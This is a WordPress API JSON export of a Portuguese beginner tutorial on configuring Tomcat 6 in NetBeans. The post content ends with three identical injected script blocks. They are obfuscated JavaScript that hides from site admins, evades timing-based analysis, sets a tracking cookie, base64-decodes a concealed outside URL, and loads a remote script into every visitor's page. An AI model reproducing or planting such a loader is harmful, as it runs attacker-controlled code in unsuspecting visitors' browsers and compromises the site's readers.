{"id":666,"date":"2010-10-14T18:45:06","date_gmt":"2010-10-14T21:45:06","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=666"},"modified":"2025-10-26T22:42:37","modified_gmt":"2025-10-27T01:42:37","slug":"configurando-tomcat-6-no-netbeans","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/14\/configurando-tomcat-6-no-netbeans\/","title":{"rendered":"Configurando Tomcat 6 no Netbeans"},"content":{"rendered":"<p style=\"text-align: justify;\">Esse \u00e9 um post para quem nunca configurou um servidor Web no Netbeans. Se voc\u00ea j\u00e1 fez isso, d\u00ea uma olhada em outros artigos sobre o <a title=\"Tomcat\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/tag\/tomcat\/\" target=\"_blank\" rel=\"noopener\">Tomcat<\/a> ou <a title=\"Netbeans\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/tag\/netbeans\/\" target=\"_blank\" rel=\"noopener\">Netbeans<\/a> :).<\/p>\n<p style=\"text-align: justify;\">Fa\u00e7a o download do Tomcat 6 no endere\u00e7o: <a title=\"Download Tomcat 6\" href=\"http:\/\/tomcat.apache.org\/download-60.cgi\" target=\"_blank\" rel=\"noopener\">http:\/\/tomcat.apache.org\/download-60.cgi<\/a> e descompacte em uma pasta (escolha a vers\u00e3o zip ou tar.gz). Abra o Netbeans e v\u00e1 na Aba Services (Window, Services). Clique com o bot\u00e3o direito em Servers, Add Server... Escolha Tomcat 6 e clique em Next.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_669\" aria-describedby=\"caption-attachment-669\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Add-Server-Instance.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-669 \" title=\"Add Server Instance\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Add-Server-Instance-300x187.png\" alt=\"Add Server Instance\" width=\"300\" height=\"187\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Add-Server-Instance-300x187.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Add-Server-Instance.png 648w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-669\" class=\"wp-caption-text\">Add Server Instance<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Informe a localiza\u00e7\u00e3o do seu Tomcat, um usu\u00e1rio e uma senha e clique em Finish. Um novo servidor deve ter sido adicionado. Para alterar as configura\u00e7\u00f5es de inicializa\u00e7\u00e3o e porta voc\u00ea pode clicar com o bot\u00e3o direito no servidor criado e selecionar Properties.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_671\" aria-describedby=\"caption-attachment-671\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Servers.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-671 \" title=\"Servers\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Servers-300x234.png\" alt=\"Servers\" width=\"300\" height=\"234\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Servers-300x234.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Servers.png 750w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-671\" class=\"wp-caption-text\">Servers<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Voc\u00ea tamb\u00e9m tem a op\u00e7\u00e3o de editar o arquivo server.xml ou visualizar o log do servidor al\u00e9m de parar e iniciar o Tomcat em modo de profiling e debug. Para associar um projeto existente ao Tomcat \u00e9 s\u00f3 clicar com o bot\u00e3o direito, Properties, Run e escolher o respectivo servidor.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_672\" aria-describedby=\"caption-attachment-672\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Project-Properties-blogsample.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-672\" title=\"Project Properties - blogsample\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Project-Properties-blogsample-300x207.png\" alt=\"Project Properties - blogsample\" width=\"300\" height=\"207\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Project-Properties-blogsample-300x207.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Project-Properties-blogsample.png 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-672\" class=\"wp-caption-text\">Project Properties - blogsample<\/figcaption><\/figure>\n<p>Para outros servidores o processo \u00e9 semelhante. Bem simples... \ud83d\ude42 Qualquer d\u00favida \u00e9 s\u00f3 avisar.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esse \u00e9 um post para quem nunca configurou um servidor Web no Netbeans. Se voc\u00ea j\u00e1 fez isso, d\u00ea uma olhada em outros artigos sobre o Tomcat ou Netbeans :). Fa\u00e7a o download do Tomcat 6 no endere\u00e7o: http:\/\/tomcat.apache.org\/download-60.cgi e <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/14\/configurando-tomcat-6-no-netbeans\/\">Continue lendo  <span class=\"screen-reader-text\">  Configurando Tomcat 6 no Netbeans<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-666","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/666","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=666"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/666\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=666"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=666"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=666"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}